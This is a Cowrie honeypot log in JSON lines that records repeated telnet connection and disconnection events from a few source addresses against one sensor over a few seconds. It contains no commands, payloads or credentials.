{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40582,"dst_ip":"10.17.0.5","dst_port":23,"session":"15959dea2e2d","protocol":"telnet","message":"New connection: 64.235.40.29:40582 (10.17.0.5:23) [session: 15959dea2e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:16.672685Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40618,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f955995f23d","protocol":"telnet","message":"New connection: 64.235.40.29:40618 (10.17.0.5:23) [session: 0f955995f23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:16.799665Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40652,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec6189fd27f5","protocol":"telnet","message":"New connection: 64.235.40.29:40652 (10.17.0.5:23) [session: ec6189fd27f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:16.952749Z"}
{"eventid":"cowrie.session.closed","duration":31.247921228408813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:17.020372Z","src_ip":"64.235.40.29","session":"0488c1da4b40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.340375185012817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:17.043361Z","src_ip":"64.235.40.29","session":"b5a20c426e17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40666,"dst_ip":"10.17.0.5","dst_port":23,"session":"fca7494470a1","protocol":"telnet","message":"New connection: 64.235.40.29:40666 (10.17.0.5:23) [session: fca7494470a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:17.068966Z"}
{"eventid":"cowrie.session.closed","duration":30.149640560150146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:17.091424Z","src_ip":"64.235.40.29","session":"2a4a3e003486","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.621234893798828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:17.129516Z","src_ip":"160.250.4.73","session":"943b4afd0512","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.928212881088257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:17.148877Z","src_ip":"64.235.40.29","session":"0dc6a6bfecfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50512,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c86b005fbab","protocol":"telnet","message":"New connection: 160.250.4.73:50512 (10.17.0.5:23) [session: 0c86b005fbab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:17.346719Z"}
{"eventid":"cowrie.session.closed","duration":31.182793140411377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:17.379496Z","src_ip":"64.235.40.29","session":"32456f3fb870","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40680,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4e1fad994a4","protocol":"telnet","message":"New connection: 64.235.40.29:40680 (10.17.0.5:23) [session: f4e1fad994a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:17.500211Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50528,"dst_ip":"10.17.0.5","dst_port":23,"session":"be27d993c70e","protocol":"telnet","message":"New connection: 160.250.4.73:50528 (10.17.0.5:23) [session: be27d993c70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:17.629813Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40684,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc299e2e792a","protocol":"telnet","message":"New connection: 64.235.40.29:40684 (10.17.0.5:23) [session: dc299e2e792a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:17.799802Z"}
{"eventid":"cowrie.session.closed","duration":31.830053567886353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:17.988367Z","src_ip":"64.235.40.29","session":"ee57a15c8e1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884684801101685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:18.060322Z","src_ip":"64.235.40.29","session":"71b594231ff2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40989089012146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:18.155676Z","src_ip":"64.235.40.29","session":"a88a50652ddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50534,"dst_ip":"10.17.0.5","dst_port":23,"session":"1624fe3ce016","protocol":"telnet","message":"New connection: 160.250.4.73:50534 (10.17.0.5:23) [session: 1624fe3ce016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:18.211883Z"}
{"eventid":"cowrie.session.closed","duration":31.285057544708252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:18.253957Z","src_ip":"64.235.40.29","session":"333338034263","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40696,"dst_ip":"10.17.0.5","dst_port":23,"session":"422fad7b9a98","protocol":"telnet","message":"New connection: 64.235.40.29:40696 (10.17.0.5:23) [session: 422fad7b9a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:18.303712Z"}
{"eventid":"cowrie.session.closed","duration":30.776180505752563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:18.350158Z","src_ip":"64.235.40.29","session":"823c3c0d4897","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.984396934509277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:18.462963Z","src_ip":"64.235.40.29","session":"e1fecb0f7ad7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40718,"dst_ip":"10.17.0.5","dst_port":23,"session":"583fd50b05ce","protocol":"telnet","message":"New connection: 64.235.40.29:40718 (10.17.0.5:23) [session: 583fd50b05ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:18.509033Z"}
{"eventid":"cowrie.session.closed","duration":30.972782373428345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:18.657880Z","src_ip":"64.235.40.29","session":"15b7ff9ef2d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.593421459197998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:18.667886Z","src_ip":"64.235.40.29","session":"98e28ce7898a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40774,"dst_ip":"10.17.0.5","dst_port":23,"session":"22108a43dd32","protocol":"telnet","message":"New connection: 64.235.40.29:40774 (10.17.0.5:23) [session: 22108a43dd32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:18.875492Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40806,"dst_ip":"10.17.0.5","dst_port":23,"session":"74cda90f5736","protocol":"telnet","message":"New connection: 64.235.40.29:40806 (10.17.0.5:23) [session: 74cda90f5736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:18.942684Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40858,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc41189d98cb","protocol":"telnet","message":"New connection: 64.235.40.29:40858 (10.17.0.5:23) [session: fc41189d98cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:19.134229Z"}
{"eventid":"cowrie.session.closed","duration":30.96509885787964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:19.157764Z","src_ip":"64.235.40.29","session":"16bd1dccbb35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02092695236206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:19.182388Z","src_ip":"64.235.40.29","session":"9389ae2de8cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13000988960266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:19.215663Z","src_ip":"64.235.40.29","session":"8794fe91a4a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40874,"dst_ip":"10.17.0.5","dst_port":23,"session":"e752ddc0914f","protocol":"telnet","message":"New connection: 64.235.40.29:40874 (10.17.0.5:23) [session: e752ddc0914f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:19.246096Z"}
{"eventid":"cowrie.session.closed","duration":30.41411328315735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:19.310349Z","src_ip":"64.235.40.29","session":"41cab4adb82e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":54404,"dst_ip":"10.17.0.5","dst_port":23,"session":"05026367e122","protocol":"telnet","message":"New connection: 195.154.29.177:54404 (10.17.0.5:23) [session: 05026367e122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:19.320656Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40712,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea01ad52d089","protocol":"telnet","message":"New connection: 64.235.40.29:40712 (10.17.0.5:23) [session: ea01ad52d089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:19.360660Z"}
{"eventid":"cowrie.session.closed","duration":31.412245988845825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:19.429270Z","src_ip":"64.235.40.29","session":"42791d4a57be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.986742734909058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:19.479039Z","src_ip":"64.235.40.29","session":"cccfb24fa2f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":35300,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b2219a8a5a3","protocol":"telnet","message":"New connection: 160.250.4.73:35300 (10.17.0.5:23) [session: 6b2219a8a5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:19.648882Z"}
{"eventid":"cowrie.session.closed","duration":31.539358854293823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:19.764003Z","src_ip":"64.235.40.29","session":"549fe92644a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.487809896469116,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:19.784290Z","src_ip":"64.235.40.29","session":"7bd70e5d53e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40910,"dst_ip":"10.17.0.5","dst_port":23,"session":"498f2bcdecf4","protocol":"telnet","message":"New connection: 64.235.40.29:40910 (10.17.0.5:23) [session: 498f2bcdecf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:19.884404Z"}
{"eventid":"cowrie.session.closed","duration":31.17946457862854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.031095Z","src_ip":"64.235.40.29","session":"5131677319a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98695397377014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.036762Z","src_ip":"64.235.40.29","session":"810844cb3970","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44754934310913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.043951Z","src_ip":"64.235.40.29","session":"c91aa0919fa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.284586429595947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.054593Z","src_ip":"135.148.33.217","session":"48b9de24d76b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.104865312576294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.144681Z","src_ip":"160.250.4.73","session":"33a6d39446ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40868,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c9a8b916734","protocol":"telnet","message":"New connection: 64.235.40.29:40868 (10.17.0.5:23) [session: 6c9a8b916734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.159453Z"}
{"eventid":"cowrie.session.closed","duration":31.05470895767212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.264666Z","src_ip":"64.235.40.29","session":"aa8c4be83998","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40966,"dst_ip":"10.17.0.5","dst_port":23,"session":"731131eb911e","protocol":"telnet","message":"New connection: 64.235.40.29:40966 (10.17.0.5:23) [session: 731131eb911e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.313759Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40988,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c0a8ed51acb","protocol":"telnet","message":"New connection: 64.235.40.29:40988 (10.17.0.5:23) [session: 6c0a8ed51acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.320610Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40974,"dst_ip":"10.17.0.5","dst_port":23,"session":"7523f5b7cf2d","protocol":"telnet","message":"New connection: 64.235.40.29:40974 (10.17.0.5:23) [session: 7523f5b7cf2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.324275Z"}
{"eventid":"cowrie.session.closed","duration":31.194030046463013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.354361Z","src_ip":"64.235.40.29","session":"0f954cd10cad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40886,"dst_ip":"10.17.0.5","dst_port":23,"session":"43eaa85f1b2b","protocol":"telnet","message":"New connection: 64.235.40.29:40886 (10.17.0.5:23) [session: 43eaa85f1b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.397679Z"}
{"eventid":"cowrie.session.closed","duration":31.051795482635498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.408445Z","src_ip":"64.235.40.29","session":"1f46eb93b5f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3046395778656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.544707Z","src_ip":"160.250.4.73","session":"99c0f4c8bae4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41024,"dst_ip":"10.17.0.5","dst_port":23,"session":"695b8f93e85f","protocol":"telnet","message":"New connection: 64.235.40.29:41024 (10.17.0.5:23) [session: 695b8f93e85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.572847Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41072,"dst_ip":"10.17.0.5","dst_port":23,"session":"05e421259406","protocol":"telnet","message":"New connection: 64.235.40.29:41072 (10.17.0.5:23) [session: 05e421259406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.894992Z"}
{"eventid":"cowrie.session.closed","duration":31.888097524642944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:20.981796Z","src_ip":"64.235.40.29","session":"52b42537ffbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.724006175994873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:21.044533Z","src_ip":"64.235.40.29","session":"2920907c1c79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.557819843292236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:21.118274Z","src_ip":"64.235.40.29","session":"5399d180e371","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.314555168151855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:21.165073Z","src_ip":"99.198.111.122","session":"3659b6b13590","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.096586227416992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:21.190325Z","src_ip":"64.235.40.29","session":"07a721a1f848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998746156692505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:21.315932Z","src_ip":"64.235.40.29","session":"77b45447fb9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41210,"dst_ip":"10.17.0.5","dst_port":23,"session":"10bb8ef8dd92","protocol":"telnet","message":"New connection: 64.235.40.29:41210 (10.17.0.5:23) [session: 10bb8ef8dd92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:21.392189Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41256,"dst_ip":"10.17.0.5","dst_port":23,"session":"607c1db3cd09","protocol":"telnet","message":"New connection: 64.235.40.29:41256 (10.17.0.5:23) [session: 607c1db3cd09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:21.544444Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41268,"dst_ip":"10.17.0.5","dst_port":23,"session":"981137f5134c","protocol":"telnet","message":"New connection: 64.235.40.29:41268 (10.17.0.5:23) [session: 981137f5134c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:21.651803Z"}
{"eventid":"cowrie.session.closed","duration":31.538777828216553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:21.849759Z","src_ip":"64.235.40.29","session":"344164f85511","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":56936,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bc147606484","protocol":"telnet","message":"New connection: 104.207.153.205:56936 (10.17.0.5:23) [session: 7bc147606484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:22.032240Z"}
{"eventid":"cowrie.session.closed","duration":30.504438638687134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:22.037348Z","src_ip":"64.235.40.29","session":"3478023f49e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41290,"dst_ip":"10.17.0.5","dst_port":23,"session":"d22fa5fcdab2","protocol":"telnet","message":"New connection: 64.235.40.29:41290 (10.17.0.5:23) [session: d22fa5fcdab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:22.083714Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41292,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7a629f760f1","protocol":"telnet","message":"New connection: 64.235.40.29:41292 (10.17.0.5:23) [session: a7a629f760f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:22.158973Z"}
{"eventid":"cowrie.session.closed","duration":30.88261318206787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:22.220239Z","src_ip":"64.235.40.29","session":"9c222ade95fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41190,"dst_ip":"10.17.0.5","dst_port":23,"session":"e57c84d72c69","protocol":"telnet","message":"New connection: 64.235.40.29:41190 (10.17.0.5:23) [session: e57c84d72c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:22.317750Z"}
{"eventid":"cowrie.session.closed","duration":31.05006504058838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:22.391594Z","src_ip":"64.235.40.29","session":"4f4750777233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41238,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab5bc8759fb9","protocol":"telnet","message":"New connection: 64.235.40.29:41238 (10.17.0.5:23) [session: ab5bc8759fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:22.445077Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41314,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8dff33d56bc","protocol":"telnet","message":"New connection: 64.235.40.29:41314 (10.17.0.5:23) [session: f8dff33d56bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:22.600358Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":35332,"dst_ip":"10.17.0.5","dst_port":23,"session":"a69f27193334","protocol":"telnet","message":"New connection: 160.250.4.73:35332 (10.17.0.5:23) [session: a69f27193334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:22.677769Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":35338,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab845605bd7a","protocol":"telnet","message":"New connection: 160.250.4.73:35338 (10.17.0.5:23) [session: ab845605bd7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:22.772706Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41338,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed72d69cc654","protocol":"telnet","message":"New connection: 64.235.40.29:41338 (10.17.0.5:23) [session: ed72d69cc654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:22.882588Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":35346,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8609826db35","protocol":"telnet","message":"New connection: 160.250.4.73:35346 (10.17.0.5:23) [session: c8609826db35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:22.998427Z"}
{"eventid":"cowrie.session.closed","duration":30.514892101287842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.048562Z","src_ip":"135.148.33.217","session":"a54eb6ecebce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.248077630996704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:23.061813Z","src_ip":"64.235.40.29","session":"3677eae43082","protocol":"telnet"}
